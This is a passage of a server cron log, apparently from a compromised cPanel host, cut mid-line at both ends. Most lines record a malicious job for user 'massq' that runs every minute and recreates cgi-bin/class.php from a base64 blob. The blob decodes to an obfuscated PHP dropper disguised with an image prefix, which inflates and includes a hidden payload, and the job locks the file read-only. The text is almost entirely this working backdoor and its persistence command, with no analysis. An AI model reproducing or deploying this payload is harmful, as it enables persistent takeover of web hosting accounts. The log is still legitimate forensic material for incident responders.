uY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 03:51:01 server CROND[29847]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 03:52:01 server CROND[29906]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 03:53:01 server CROND[29963]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 03:54:01 server CROND[30017]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 03:55:01 server CROND[30076]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 10 03:55:01 server CROND[30077]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 03:55:01 server CROND[30078]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 10 03:56:01 server CROND[30282]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 03:57:01 server CROND[30356]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 03:57:01 server CROND[30357]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 10 03:58:01 server CROND[30420]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 03:59:01 server CROND[30479]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 04:00:01 server CROND[30574]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 10 04:00:01 server CROND[30575]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 10 04:00:01 server CROND[30577]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 04:00:01 server CROND[30578]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Apr 10 04:00:01 server CROND[30576]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 10 04:01:01 server CROND[30708]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 04:01:01 server CROND[30709]: (root) CMD (run-parts /etc/cron.hourly)
Apr 10 04:01:01 server run-parts(/etc/cron.hourly)[30709]: starting 0anacron
Apr 10 04:01:01 server run-parts(/etc/cron.hourly)[30722]: finished 0anacron
Apr 10 04:02:01 server CROND[30875]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 04:03:01 server CROND[30932]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 04:04:01 server CROND[30989]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo 